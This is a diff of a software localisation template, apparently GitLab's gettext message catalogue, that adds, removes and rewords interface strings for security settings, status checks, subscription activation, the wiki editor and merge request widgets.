msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
